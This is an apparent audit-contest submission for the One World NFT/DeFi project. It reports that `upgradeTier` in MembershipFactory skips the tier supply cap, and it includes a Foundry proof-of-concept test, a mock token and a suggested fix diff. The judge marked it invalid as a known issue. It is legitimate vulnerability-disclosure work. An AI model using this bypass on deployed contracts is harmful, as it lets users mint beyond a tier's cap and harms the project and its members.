Project
One World
NFTDeFi
15,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

User Can Still Mint a Minted Out Tier by Calling `MembershipFactory::upgradeTier`

farismaulana

Summary

The upgradeTier function in the MembershipFactory contract allows users to upgrade their membership tier by burning NFTs from a lower tier and minting NFTs for a higher tier. However, the function does not check if the higher tier has already been fully minted. This oversight allows users to bypass the minting limit and mint NFTs for a tier that is already fully minted, leading to inconsistencies in the NFT distribution and potential financial losses for users.

Vulnerability Details

MembershipFactory.sol#L155-L161

function upgradeTier(address daoMembershipAddress, uint256 fromTierIndex) external {
require(daos[daoMembershipAddress].daoType == DAOType.SPONSORED, "Upgrade not allowed.");
require(daos[daoMembershipAddress].noOfTiers >= fromTierIndex + 1, "No higher tier available.");
IMembershipERC1155(daoMembershipAddress).burn(_msgSender(), fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), fromTierIndex - 1, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, fromTierIndex - 1);
}

when calling upgradeTier, there are no checks whether the fromTierIndex - 1 that already minted is less than amount specified. this would makes anyone can bypass to upgrade to the next tier even though the next tier is minted out.

scenario:

  1. create DAO with SPONSORED type, the amount max minted is 2

  2. bob joins DAO on tierIndex 1 with 2 nft (this would minted out the tierIndex 1 nft)

  3. charlie wants to join tierIndex 1 too, but saw its minted out

  4. charlie joins DAO using tierIndex 2 with 2 nft

  5. charlie call upgradeTier

  6. now charlie have tierIndex 1 nft

add this code to test folder:

ERC20Mock.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
contract ERC20Mock is ERC20 {
constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
​
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
​
function burn(address from, uint256 amount) public {
_burn(from, amount);
}
}
​

Base.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {CurrencyManager} from "../contracts/dao/CurrencyManager.sol";
import {DAOType, DAOConfig, DAOInputConfig, TierConfig} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {Test} from "lib/forge-std/src/Test.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {console2} from "lib/forge-std/src/console2.sol";
​
contract Base is Test {
string baseURI = "0x";
address owpWallet = makeAddr("owpWallet");
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
​
MembershipERC1155 membershiImplementation;
MembershipFactory membershipFactory;
CurrencyManager currencyManager;
ERC20Mock currency;
​
event UserJoinedDAO(address indexed user, address indexed membershipNftAddress, uint256 tierIndex);
​
function setUp() public {
vm.startPrank(owner);
membershiImplementation = new MembershipERC1155();
currencyManager = new CurrencyManager();
currency = new ERC20Mock("Currency", "CUR", 100e18);
​
membershipFactory =
new MembershipFactory(address(currencyManager), owpWallet, baseURI, address(membershiImplementation));
​
currencyManager.addCurrency(address(currency));
​
currency.mint(alice, 100e18);
currency.mint(bob, 100e18);
currency.mint(charlie, 100e18);
vm.stopPrank();
}
​
function test_POC_upgradeTierBypassMintedCheck() public {
vm.startPrank(alice);
DAOInputConfig memory daoConfig = DAOInputConfig("DAO", DAOType.SPONSORED, address(currency), 1000, 7);
TierConfig[] memory tiersConfig = new TierConfig[]();
// amount 2 per tier
tiersConfig[0] = TierConfig(2, 64000, 70, 0);
tiersConfig[1] = TierConfig(2, 32000, 60, 0);
tiersConfig[2] = TierConfig(2, 16000, 50, 0);
tiersConfig[3] = TierConfig(2, 8000, 40, 0);
tiersConfig[4] = TierConfig(2, 4000, 30, 0);
tiersConfig[5] = TierConfig(2, 2000, 20, 0);
tiersConfig[6] = TierConfig(2, 1000, 10, 0);
​
address daoAddress = membershipFactory.createNewDAOMembership(daoConfig, tiersConfig);
vm.stopPrank();
​
vm.startPrank(bob);
uint256 tierIndex = 1;
currency.approve(address(membershipFactory), 100e18);
// mint max amount of tierIndex 1
membershipFactory.joinDAO(daoAddress, tierIndex);
membershipFactory.joinDAO(daoAddress, tierIndex);
​
vm.startPrank(charlie);
currency.approve(address(membershipFactory), 100e18);
// mint 2 nft of tierIndex 2
tierIndex = 2;
membershipFactory.joinDAO(daoAddress, tierIndex);
membershipFactory.joinDAO(daoAddress, tierIndex);
// charlie upgrade tier from tierIndex 2 to tierIndex 1
membershipFactory.upgradeTier(daoAddress, tierIndex);
vm.stopPrank();
​
// check charlie balance of tierIndex 1
uint256 charlieNFTTierIndex1Amount = MembershipERC1155(daoAddress).balanceOf(charlie, 1);
// check charlie balance of tierIndex 2
uint256 charlieNFTTierIndex2Amount = MembershipERC1155(daoAddress).balanceOf(charlie, 2);
​
console2.log("Charlie NFT tier 1 amount: ", charlieNFTTierIndex1Amount);
console2.log("Charlie NFT tier 2 amount: ", charlieNFTTierIndex2Amount);
​
// check bob balance of tier 1
uint256 bobNFTTierIndex1Amount = MembershipERC1155(daoAddress).balanceOf(bob, 1);
console2.log("Bob NFT tier 1 amount: ", bobNFTTierIndex1Amount);
​
// assert tierIndex 1 total mint should not exceed 2 amount
tierIndex = 1;
TierConfig[] memory tierConfig = membershipFactory.tiers(daoAddress);
uint256 totalMinted = tierConfig[tierIndex].minted;
​
assertEq(totalMinted, (charlieNFTTierIndex1Amount + bobNFTTierIndex1Amount));
}
}
​

run the command forge test --mt test_POC_upgradeTierBypassMintedCheck the test would fail because assert failed.

Impact

Minting an already minted-out NFT tier would break many invariants, causing significant disruptions in the system. This could lead to inconsistencies in the NFT distribution, potential financial losses for users, and a loss of trust in the platform's reliability. Ensuring that minting operations respect the tier limits is crucial to maintaining the integrity and stability of the NFT ecosystem.

Tools Used

foundry

Recommendations

add logic to check if the next tier is still available to be minted:

diff --git a/contracts/dao/MembershipFactory.sol b/contracts/dao/MembershipFactory.sol
index 02205e3..8765cdb 100644
--- a/contracts/dao/MembershipFactory.sol
+++ b/contracts/dao/MembershipFactory.sol
function upgradeTier(address daoMembershipAddress, uint256 fromTierIndex) external {
require(daos[daoMembershipAddress].daoType == DAOType.SPONSORED, "Upgrade not allowed.");
require(daos[daoMembershipAddress].noOfTiers >= fromTierIndex + 1, "No higher tier available.");
+ require(daos[daoMembershipAddress].tiers[fromTierIndex - 1].amount > daos[daoMembershipAddress].tiers[fromTierIndex - 1].minted, "Tier full.");
IMembershipERC1155(daoMembershipAddress).burn(_msgSender(), fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), fromTierIndex - 1, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, fromTierIndex - 1);
}
Updates

Lead Judging Commences

0xbrivan2 Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.